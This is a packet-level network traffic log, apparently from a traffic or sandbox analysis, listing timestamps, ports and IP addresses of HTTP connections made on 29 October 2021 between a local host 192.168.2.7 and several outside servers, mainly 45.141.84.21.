Oct 29, 2021 15:31:14.338263988 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.338272095 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.338291883 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.338300943 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.338310957 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.338329077 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.338335991 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.338346958 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.338357925 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.338365078 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.338382959 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.338398933 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.338401079 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.338418961 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.338435888 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.338444948 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.338454008 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.338485003 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.338501930 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.339353085 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.339417934 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.339442015 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.339457989 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.339474916 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.339498043 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.339541912 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.339557886 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.339576006 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.339596033 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.339608908 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.339615107 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.339633942 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.339642048 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.339725971 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.392568111 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.392606974 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.392630100 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.392657042 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.392683983 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.392713070 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.392734051 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.392755032 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.392751932 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.392774105 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.392792940 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.392807007 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.392823935 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.392832994 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.392924070 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.392962933 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.392963886 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.392982960 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.392997026 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.393049002 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.393302917 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.393323898 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.393343925 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.393357992 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.393373013 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.393378973 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.393399954 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.393405914 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.393421888 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.393436909 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.393446922 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.393465996 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.393922091 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.393948078 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.393975019 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.393996954 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.393996954 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.394016027 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.394018888 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.394036055 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.394052029 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.394062996 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.394072056 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.394092083 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.394095898 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.394124031 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.394139051 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.394153118 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.394198895 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.394340992 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.394362926 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.394382000 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.394397020 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.394412041 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.394443989 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.394617081 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.394638062 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.394659042 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.394679070 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.394690990 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.394699097 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.394720078 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.394720078 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.394736052 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.394759893 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.394917011 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.394937992 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.394958973 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.394959927 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.394980907 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.394999981 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.395015001 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.395020008 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.395034075 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.395034075 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.395086050 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.437047005 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.437099934 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:14.452898979 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.452944040 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.452970982 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.452997923 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.453023911 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.453048944 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.453053951 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.453068018 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.453094959 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.453119993 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.453150988 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.453151941 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.453175068 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.453180075 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.453206062 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.453210115 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.453233957 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.453257084 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.453257084 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.453284979 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.453310966 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.453329086 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.453332901 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.453351974 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.453367949 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.453377962 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.453403950 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.453423023 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.453428030 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.453452110 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.453473091 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.453538895 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.453684092 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.453809977 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.453845024 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.453862906 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.453881979 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.453912973 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.454349995 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.454541922 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.454567909 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.454595089 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.454600096 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.454619884 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.454642057 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.454643965 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.454662085 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.454682112 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.454689026 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.454718113 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.454741955 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.454745054 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.454763889 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.454786062 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.454787016 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.454807043 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.454829931 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.454833984 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.454845905 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.454868078 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.455424070 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.455455065 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.455478907 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.455506086 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.455506086 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.455519915 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.455533981 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.455559015 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.455579042 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.455596924 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.455604076 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.455626965 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.455646992 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.455660105 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.455728054 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.455804110 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.455827951 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.455848932 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.455873013 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.455888987 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.455897093 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.455918074 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.455923080 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.455940962 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.455964088 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.483441114 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.514064074 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.514208078 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.514241934 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.514286041 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.514326096 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.514332056 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.514375925 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.514437914 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.514466047 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.514482975 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.514540911 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.514560938 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.514590025 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.514628887 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.514647007 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.514667988 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.514705896 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.514719963 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.514746904 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.514775038 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.514806986 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.514816999 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.514854908 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.514858961 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.514895916 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.514923096 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.514946938 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.514960051 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.515000105 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.515007019 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.515038967 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.515065908 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.515084028 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.515108109 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.515146017 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.515150070 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.515186071 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.515217066 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.515228987 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.515254974 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.515294075 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.515295029 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.515332937 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.515361071 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.515377998 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.515403032 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.515439987 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.515448093 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.515480995 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.515507936 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.515525103 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.515609980 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.515659094 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.515721083 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.515747070 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.515762091 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.515783072 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.515826941 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.515866041 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.515868902 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.515894890 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.515986919 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.515994072 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.516036034 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.516074896 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.516088009 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.516113997 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.516156912 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.516161919 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.516197920 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.516227007 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.516246080 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.516266108 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.516304970 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.516305923 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.516345024 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.516374111 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.516393900 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.516547918 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.516585112 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.516599894 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.516623974 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.516653061 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.516674995 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.516690969 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.516732931 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.516830921 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.516908884 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.516973972 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.517003059 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.517038107 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.517081022 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.517086983 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.517112017 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.517153978 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.574965000 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.574996948 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.575012922 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.575036049 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.575061083 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.575084925 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.575103998 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.575122118 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.575129986 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.575139046 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.575156927 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.575174093 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.575191021 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.575201035 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.575208902 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.575223923 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.575237036 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.575239897 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.575258017 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.575259924 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.575274944 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.575287104 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.575289011 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.575341940 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.575411081 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.575428009 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.575445890 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.575459003 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.575475931 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.575511932 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.575706005 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.575722933 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.575740099 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.575752974 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.575782061 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.575820923 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.576001883 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.576019049 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.576035976 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.576055050 CEST	80	49842	45.141.84.21	192.168.2.7
